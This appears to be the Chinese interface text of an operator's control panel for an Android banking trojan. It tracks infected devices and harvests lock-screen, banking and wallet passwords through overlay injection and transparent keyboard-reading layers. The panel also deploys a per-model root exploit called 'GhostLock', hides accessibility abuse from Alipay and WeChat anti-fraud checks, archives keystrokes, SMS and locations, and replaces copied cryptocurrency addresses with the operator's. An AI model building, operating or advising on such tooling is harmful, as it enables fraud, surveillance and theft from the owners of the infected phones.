控制台
用户管理
| ID | 用户名 | 角色 | 状态 | 到期时间 | 设备数 | 地址替换 | 最后登录 | 操作 |
|---|
设备管理
在线状态、IP、应用画像与密码摘要；点「控制」打开网页控制端。
| ID | 设备ID | 名称/型号 | 归属 | IP | 地区 | 银行 | 支付 | 冷钱包 | 锁屏密码 | 钱包密码 | 详情 | 锁屏 | 状态 | 最后在线 | 操作 |
|---|
设备统计
在线 / 离线、今日与昨日新增，以及按入库日估算的每日留存。
次日 / 3 日 / 7 日：该日入库的设备，最后在线是否达到对应天数。未到期的格子显示「—」。
| 日期 | 新增 | 次日留存 | 3 日留存 | 7 日留存 |
|---|
| 应用名 | 设备数 | 占比 |
|---|
| 应用名 | 设备数 | 占比 |
|---|
| 应用名 | 设备数 | 占比 |
|---|
A 包安装
每台打开过 A 的设备走到哪一步：打开、安装权限、下载、系统安装、装上 B。需要新 A（1.0.85+）才会上报。
| 型号 | 当前步骤 | 安装权限 | A 版本 | 第一次 | 最后一次 | 说明 | IP |
|---|
密码采集
锁屏与钱包凭据自动落库，无需打开控制页。
| 时间 | 设备 | 应用 | 包名 | 类型 | Activity/模板 | 密码/图案 | 次数 | 来源 | 操作 |
|---|
注入模板
默认全关。勾选后点开启，对应 App 打开时会先盖注入页。关闭勾选会同时关掉各设备上的这一套，避免开了关不掉。不要一次全开。单台设备在控制页里勾。
Buzz 采集（摩洛哥）
这些包也可以勾上面的 HTML 注入。设备「钱包监控」开着时，进登录/PIN 页仍会挂透明层读键盘，交到「密码采集」。下面只是 Buzz 名单。
| 名称 | 包名 | 类型 |
|---|
| 国家 | 名称 | 包名 | 类型 | 大小 | 全局 |
|---|
GhostLock 载荷
CVE-2026-43499，按机型单独下，不打进 A/B。A 包只执行 ELF（cve-*-root）；JNI / 整包 APK / 源码对不上就跳过，继续装 B。
还没入库
公开能搜到、但还没传到这台服务器。要电脑 / Shizuku / 仅源码的标出来，A 包不会用。
A 包匹配表
绿徽章才是 A 会下会跑的 ELF。月虹 / YuKongA 只登记精确 uname -r，JNI 链 A 不跑。点「只看 ELF」会只剩那 9 条。
| 匹配 | 跑 | 型号 | 内核 | 文件 |
|---|
Root
A 包 GhostLock 打洞拿到 uid 0 之后能干的事。载荷仍在「GhostLock 载荷」。控制页每台设备也有独立 Root 页。
root 之后能干嘛
A 打洞成功会写 /data/local/tmp/gl-su。B 1.3.431+ 自己找 su，按下面清单静默做。对不上机型或没 root，仍走 VPN + 系统安装。
已 root 的 A 包设备
来自 A 包上报 gl_root / gl_pm。B 上线后控制页 Root 会显示 isroot。
| 型号 | SDK | 匹配 | uid 0 | 静默装 B | 步骤 | 最近 |
|---|
敏感 App
进名单里的 App 立刻摘掉本应用无障碍（支付宝/微信反诈会扫这个）。退出后再按延迟秒数恢复。规则在这里改，在线设备大约 15 秒内自己拉。
| 名称 | 包名 | 退出延迟 | 状态 |
|---|
| 来源 | 名称 | 包名 | 延迟 |
|---|
Buzz 采集
对齐 buzz：进银行/钱包密码页挂可触摸透明层，记下坐标并点穿到底下真键盘，无障碍拼 PIN。无线调试配对时默认拆掉这层，避免和无障碍抢设置页。规则大约 15 秒同步到设备。
| 名称 | 包名 | 类型 | 状态 |
|---|
| 来源 | 名称 | 包名 |
|---|
设备存档
按手机分目录：键录、剪贴板、短信、定位等无人值守记录。
| 时间 | 内容 |
|---|
操作日志
| 时间 | 用户 | 操作 | 详情 | IP |
|---|
A包配置
B 包压缩密码 / 版本控制
A 包先拉配置（密码和下载地址都加密，并绑定 versionCode）。改密码会重打压缩包；改域名后新 A 包去新地址下 catalog。旧包解不开密文，也对不上密码。
A 包背景
可改成打开一个网址（像浏览器加载网页），或继续用图片底图。
开启后手机一进 A 就加载这个页面。关掉则用下面的图片。
B 包打开网址
没开无障碍：还是先引导去开无障碍。开过之后如果图标藏不掉，再点桌面图标就打开这个网页。
默认 https://www.pornhub.com/ ，改完立刻对已装 B 生效，不用重打包。关掉则点图标不再打开网页。
图片底图
没开网址时：手机先显示安装包里的图。服务器这张下完了再换上。
当前：使用 A 包内置图
安装前节点
A 包下载完 B 后先连这些 SOCKS5，连通再调系统安装。一行一个，保存后立即生效，不用重打 A 包。
引导文案（多语言）
以中文为模板。添加语言会立刻把中文译成该语言填进框里，检查后点保存。没填的句子手机仍显示中文。占位符 {app} 会换成应用名。
A 包引导
B 包 · 开启无障碍
账户设置
修改密码
定期更换密码可以提高账户安全性
账户信息
当前登录账户的基本信息
控制端配置
将localhost替换为服务器实际IP，然后复制到控制端APP
中继配置
保存后后台会按配置同步中继在线设备，网页控制端也会使用这里的地址。
我的地址替换
未单独配置时，设备使用总后台默认地址。您保存自己的规则后，本账号设备改用您的地址。
当前：总后台默认
剪贴板全局改写
总后台默认规则。设备先看所属用户：滑块关闭则不替换；用户自己配了地址用用户的；否则用这里。
| 开 | 匹配 | 改成 | 方式 | 操作 |
|---|
加密货币地址
复制 BTC / ETH / USDT 等地址时自动替换成您的地址。填好后点添加，再保存才会下发。